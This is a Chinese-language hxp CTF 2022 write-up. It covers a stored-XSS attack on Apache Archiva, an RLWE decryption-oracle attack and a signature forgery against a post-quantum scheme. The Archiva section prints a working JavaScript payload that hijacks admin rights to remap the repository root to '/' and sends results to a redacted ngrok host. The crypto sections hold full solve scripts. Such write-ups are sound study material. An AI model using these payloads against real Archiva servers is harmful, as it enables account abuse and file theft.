hxp CTF 2022 WriteUps
這次周末隨便在 TSJ 裡面解了個幾題來玩而已。
web
archived
這題是個 Apache Archiva 的 0day 題,有個 admin bot 會固定存取 /repository/internal
頁面,所以要想辦法 XSS,然後用某些方法讀 /flag.txt
。
XSS 的部分很簡單,就用它給的低權限帳號登入,然後上傳個 artifact,其中 group id 的部分塞 html 就能成了。不過經測試發現裡面不能有 .
和 /
,所以我用 <svg onload="import(atob('...'))">
的方法比較簡單方便。
之後要找方法利用 admin 的權限 XSS 去透過 server api 讀檔,我這邊是利用 admin 的 repo 編輯權限把 repo 的根目錄改成 /
,那麼用 /repository/internal/flag.txt
就能讀到 flag 了。
const sleep = ms => new Promise(resolve => setTimeout(resolve, ms))
var fr = document.createElement('iframe')
fr.src = `${location.protocol}//${location.host}/`
fr.onload = async () => {
new Image().src = 'https://REDACTED.ngrok.io/iframe_load'
await sleep(1000)
try {
fr.contentWindow.$.ajax('restServices/archivaServices/managedRepositoriesService/updateManagedRepository', {
type: 'POST',
data: JSON.stringify({
id: 'internal',
name: 'Archiva Managed Internal Repository',
layout: 'default',
indexDirectory: '/archiva-data/repositories/internal/.indexer',
location: '/',
cronExpression: '0 0 * * * ?',
daysOlder: 30,
retentionCount: 2,
scanned: true,
deleteReleasedSnapshots: false,
stageRepoNeeded: false,
snapshots: false,
releases: true,
blockRedeployments: true,
description: null,
skipPackedIndexCreation: false,
feedsUrl: 'http://localhost:8055/feeds/internal',
url: 'http://localhost:8055/repository/internal',
modified: false
}),
contentType: 'application/json',
dataType: 'json',
success: data => {
new Image().src =
'https://REDACTED.ngrok.io/done?data=' + encodeURIComponent(JSON.stringify(data))
},
error: data => {
new Image().src =
'https://REDACTED.ngrok.io/error2?data=' + encodeURIComponent(JSON.stringify(data))
}
})
} catch (e) {
new Image().src = 'https://REDACTED.ngrok.io/error?data=' + encodeURIComponent(JSON.stringify(e.message))
}
}
fr.style.width = '100%'
fr.style.height = '100vh'
document.body.appendChild(fr)
// hxp{xSS_h3re_Xs5_ther3_X5S_ev3rywhere}
crypto
whistler
#!/usr/bin/env python3
import struct, hashlib, random, os
from Crypto.Cipher import AES
n = 256
q = 11777
w = 8
################################################################
sample = lambda rng: [bin(rng.getrandbits(w)).count('1') - w//2 for _ in range(n)]
add = lambda f,g: [(x + y) % q for x,y in zip(f,g)]
def mul(f,g):
r = [0]*n
for i,x in enumerate(f):
for j,y in enumerate(g):
s,k = divmod(i+j, n)
r[k] += (-1)**s * x*y
r[k] %= q
return r
################################################################
def genkey():
a = [random.randrange(q) for _ in range(n)]
rng = random.SystemRandom()
s,e = sample(rng), sample(rng)
b = add(mul(a,s), e)
return s, (a,b)
center = lambda v: min(v%q, v%q-q, key=abs)
extract = lambda r,d: [2*t//q for u,t in zip(r,d) if u]
ppoly = lambda g: struct.pack(f'<{n}H', *g).hex()
pbits = lambda g: ''.join(str(int(v)) for v in g)
hbits = lambda g: hashlib.sha256(pbits(g).encode()).digest()
mkaes = lambda bits: AES.new(hbits(bits), AES.MODE_CTR, nonce=b'')
def encaps(pk):
seed = os.urandom(32)
rng = random.Random(seed)
a,b = pk
s,e = sample(rng), sample(rng)
c = add(mul(a,s), e)
d = add(mul(b,s), e)
r = [int(abs(center(2*v)) > q//7) for v in d]
bits = extract(r,d)
return bits, (c,r)
def decaps(sk, ct):
s = sk
c,r = ct
d = mul(c,s)
return extract(r,d)
################################################################
if __name__ == '__main__':
while True:
sk, pk = genkey()
dh, ct = encaps(pk)
if decaps(sk, ct) == dh:
break
print('pk[0]:', ppoly(pk[0]))
print('pk[1]:', ppoly(pk[1]))
print('ct[0]:', ppoly(ct[0]))
print('ct[1]:', pbits(ct[1]))
flag = open('flag.txt').read().strip()
print('flag: ', mkaes([0]+dh).encrypt(flag.encode()).hex())
for _ in range(2048):
c = list(struct.unpack(f'<{n}H', bytes.fromhex(input())))
r = list(map('01'.index, input()))
if len(r) != n or sum(r) < n//2: exit('!!!')
bits = decaps(sk, (c,r))
print(mkaes([1]+bits).encrypt(b'hxp<3you').hex())
這題是某個 下的 RLWE 題目。public key 是 ,其中 的係數都是 uniform random 的,而 的係數都很小。
加密則是另外選係數一樣很小的 ,然後計算 和 ,然後再取一個隨機 bitstring 之後以 作為密文。
顯然這邊有個 的關係,所以它用了 extract(r,d)
去算出了另一個 bitstring,然後用它導出 AES key 去加密 flag。
之後有個 2048 次的 oracle 可以讓你決定 ,然後拿 decaps(sk, (c,r))
的結果弄另一組 AES key 去加密 hxp<3you
。
這題雖然看起來很複雜,不過實際上根本不用了解 RLWE 就能解了。
關鍵在於 AES CTR 的 nonce 固定,所以 ciphertext 不會變,因此從這邊有辦法知道 decaps(sk, (c,r))
是否有改變的這個事實。
再來關鍵是 extract
被定義為 lambda r,d: [2*t//q for u,t in zip(r,d) if u]
,所以 r
的意思其實是告訴它要取 d
解密出來的哪些 bits。所以它輸出的 bits 長度其實就只有 sum(r)
而已,所以可操作空間很大。
題目有要求說 sum(r) >= 128
,所以透過取 r
為 [1]*128+[1,0,...]
, [1]*128+[0,1,...]
這樣下去的話可以發現輸出的 ciphertext 只有兩個可能,因此就能知道 [2*t//q for t in d]
的後半是多少,不過這邊會有兩種可能要爆。然後再微調一下這個方法拿到前半的 bits,因此會有四個 [2*t//q for t in d]
的可能。
之後把四種可能取原本 r
的 subset 然後都試解密看看就能拿到 flag 了。
from pwn import process, remote
from Crypto.Cipher import AES
import struct, hashlib
n = 256
q = 11777
w = 8
ppoly = lambda g: struct.pack(f"<{n}H", *g).hex()
pbits = lambda g: "".join(str(int(v)) for v in g)
hbits = lambda g: hashlib.sha256(pbits(g).encode()).digest()
mkaes = lambda bits: AES.new(hbits(bits), AES.MODE_CTR, nonce=b"")
# io = process(["python", "vuln.py"])
io = remote("116.203.41.47", 4421)
io.recvuntil(b"ct[0]: ")
c = list(struct.unpack(f"<{n}H", bytes.fromhex(io.recvlineS().strip())))
io.recvuntil(b"ct[1]: ")
r = list(map(int, io.recvlineS().strip()))
io.recvuntil(b"flag: ")
flag = bytes.fromhex(io.recvlineS().strip())
def recover_first_half():
res = []
r = [1] * 128
for i in range(128):
t = [0] * 128
t[i] = 1
rr = t + r
io.sendline(ppoly(c).encode())
io.sendline(pbits(rr).encode())
for _ in range(128):
res.append(bytes.fromhex(io.recvlineS().strip()))
assert len(set(res)) == 2
for one in set(res):
yield [int(x == one) for x in res]
def recover_second_half():
res = []
r = [1] * 128
for i in range(128):
t = [0] * 128
t[i] = 1
rr = r + t
io.sendline(ppoly(c).encode())
io.sendline(pbits(rr).encode())
for _ in range(128):
res.append(bytes.fromhex(io.recvlineS().strip()))
assert len(set(res)) == 2
for one in set(res):
yield [int(x == one) for x in res]
for first in recover_first_half():
for second in recover_second_half():
full_bits = first + second
dh = [x for x, y in zip(full_bits, r) if y]
print(mkaes([0] + dh).decrypt(flag))
# hxp{e4zy_p34zY_p34nuT_Bu7t3r}
按照別人所說,這題似乎也有辦法在 256 次 oracle 內透過 CRT 恢復 。
sequoa
這題的目標是攻擊 A Transformation for Lifting Discrete Logarithm Based Cryptography to Post-Quantum Cryptography 這篇論文所提出的一個 PQC。有趣的地方是這篇論文反駁了這題作者所發過的另一篇論文 Entropoids: Groups in Disguise 的結論,也就是 entropoid 的 DLP 都能 reduce 到它 underlying field 的 DLP。
而這題它用了 sequoa359 的參數,也就是 field 是 ,而它分解之後最高的 degree 大概 179 而已,所以透過 sage 是有辦法解出 DLP 的。所以顯然這題的預期解是透過某些神奇的數學把 entropoid DLP reduce 到 解決吧。
不過我不會那些數學,但倒是有成功的參考 paper 和 reference implementation 的 C++ code 發現說它的 signature verification 是有問題的。
signature 本身包含了 的值,然後計算 ,之後驗證 是否成立。而經過我的一些測試發現 ,因此 ,所以最後的 hash 是不會變的。因此我們可以先計算出 hash 得到需要的 ,然後修改 signature 就能拿到一個 valid signature 了。
int main(int argc, char **argv)
{
std::array<uint8_t, CRYPTO_PUBLICKEYBYTES> pk;
ustring tmp = unhex(argv[1]);
memcpy(pk.data(), tmp.data(), CRYPTO_PUBLICKEYBYTES);
ustring sm(23 * 4, 0);
ustring m(23 * 4, 0);
unsigned long long mlen;
unsigned char out[23*2];
if(crypto_compute_e_verification(out, m.data(), &mlen, sm.data(), sm.size(), pk.data())){
// patch sign.cpp to add crypto_compute_e_verification that writes e0 and e1 to out
return 1;
}
std::cout << "DONE" << std::endl;
memcpy(sm.data() + 23*2, out, 23*2);
std::cout << tohex(sm) << std::endl;
ustring m2(23 * 4, 0);
unsigned long long mlen2;
if (crypto_sign_open(m2.data(), &mlen2, sm.data(), sm.size(), pk.data()))
return 3;
return 0;
}
// hxp{Th4nKx_4_th3_phUn_Ch4l1En9e}